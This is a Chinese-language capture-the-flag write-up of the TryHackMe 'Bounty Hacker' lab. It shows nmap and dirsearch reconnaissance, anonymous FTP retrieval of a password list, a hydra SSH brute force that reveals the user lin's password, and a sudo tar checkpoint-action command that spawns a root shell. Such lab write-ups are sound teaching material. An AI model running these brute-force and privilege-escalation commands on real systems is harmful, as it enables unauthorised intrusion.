Bounty Hacker on TryHackMe

Before all

這是我第一次用中文寫滲透的 Write Up (?)
這台機器蠻簡單的,但我會寫詳細點,給社員當參考 ><

靶機 IP : 10.10.2.219
我的 IP : 10.8.211.34

一個基本的滲透流程需要包含RECON(偵查/信息蒐集),Exploit(漏洞利用),Privilege Escalation(權限提升),以及整理(像是我現在在撰寫 Write Up 的行為),有時候必須做權限穩固、提出修改建議等動作。

Write Up

RECON

port scan

首先,利用端口掃描工具nmap確認靶機開放的端口以及該端口的服務是什麼。

指令:

1
nmap -sC -sV -PN 10.10.163.232

結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 19:14 CST
Nmap scan report for 10.10.163.232
Host is up (0.25s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.195.189
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
| 256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.16 seconds

分析:
此機器共打開了三個端口,分別為:

  • port 21 的 ftp 服務,而且允許以Anonymous的身分登入,登入後可以透過服務取得檔案。
  • port 22 的 ssh 服務,需要密碼,登入後可以以特定使用者身分操作終端機。
  • port 80 的網站,接下來可以進行路徑掃描。

directory enumeration

接下來利用路徑猜解工具dirsearch進行路徑爆破。

指令:

1
dirsearch -u http://10.10.163.232/

結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/10.10.163.232/-_24-02-20_19-16-47.txt

Error Log: /home/kali/.dirsearch/logs/errors-24-02-20_19-16-47.log

Target: http://10.10.163.232/

[19:16:47] Starting:
[19:16:54] 403 - 278B - /.ht_wsr.txt
[19:16:54] 403 - 278B - /.htaccess.bak1
[19:16:54] 403 - 278B - /.htaccess.orig
[19:16:54] 403 - 278B - /.htaccess.save
[19:16:54] 403 - 278B - /.htaccess.sample
[19:16:54] 403 - 278B - /.htaccess_extra
[19:16:54] 403 - 278B - /.htaccess_orig
[19:16:54] 403 - 278B - /.htaccess_sc
[19:16:54] 403 - 278B - /.htaccessOLD
[19:16:54] 403 - 278B - /.htaccessBAK
[19:16:54] 403 - 278B - /.htaccessOLD2
[19:16:54] 403 - 278B - /.htm
[19:16:54] 403 - 278B - /.html
[19:16:54] 403 - 278B - /.htpasswds
[19:16:54] 403 - 278B - /.htpasswd_test
[19:16:54] 403 - 278B - /.httr-oauth
[19:17:47] 301 - 315B - /images -> http://10.10.163.232/images/
[19:17:47] 200 - 938B - /images/
[19:17:48] 200 - 969B - /index.html
[19:18:09] 403 - 278B - /server-status/
[19:18:09] 403 - 278B - /server-status

Task Completed

分析:
經過探查,在此階段並沒有帶漏洞服務的出現,亦沒有透過網站洩漏的資訊。

Exploit

ftp

因為 ftp 開放 Anonymous 無密碼登入,進去 ftp 後先透過 ls -al的指令列出目錄內容。
結果:

1
2
3
4
5
6
7
ftp> ls -al
229 Entering Extended Passive Mode (|||40893|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jun 07 2020 .
drwxr-xr-x 2 ftp ftp 4096 Jun 07 2020 ..
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt

註:本動作重複進行了多次才成功,可能與網路環境有關。

透過get locks.txt以及get task.txt的指令在本機取得locks.txttask.txt的內容。

task.txt

1
2
3
4
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin

locks.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e

分析:

  • 1.有一位叫做lin的使用者。
  • 2.locks.txt極有可能為密碼列表。

ssh

因為端口22有開放 ssh 的服務,結合剛剛在 #ssh 獲得的資訊,利用密碼暴力破解工具hydra進行下一步攻擊。

指令:

1
hydra -l lin -P locks.txt -t 64 ssh://10.10.163.232

結果:

1
2
3
4
5
6
7
8
9
10
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-20 19:56:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 26 tasks per 1 server, overall 26 tasks, 26 login tries (l:1/p:26), ~1 try per task
[DATA] attacking ssh://10.10.163.232:22/
[22][ssh] host: 10.10.163.232 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-20 19:57:00

成功取得密碼:RedDr4gonSynd1cat3

Privilege Escalation

在弱點利用的階段後,成功取得一般使用者lin的控制權。
接下來要試著取得管理帳號root的控制權。
透過指令 sudo -l 查詢當前使用者(lin)的各項權限:

1
2
3
4
5
6
7
Matching Defaults entries for lin on bountyhacker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
(root) /bin/tar

發現可以以root的身分操作tar指令。

tar escalation

查詢GTFOBins上關於tar的使用方式,找到提權指令:

1
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

成功獲得root權限!

image

至此,滲透結束。
註:本來進入root時應該在/bin/sh的階段,可以使用:

1
python3 -c "import pty;pty.spawn('/bin/bash')"

取得如圖的bash狀態,但非必要。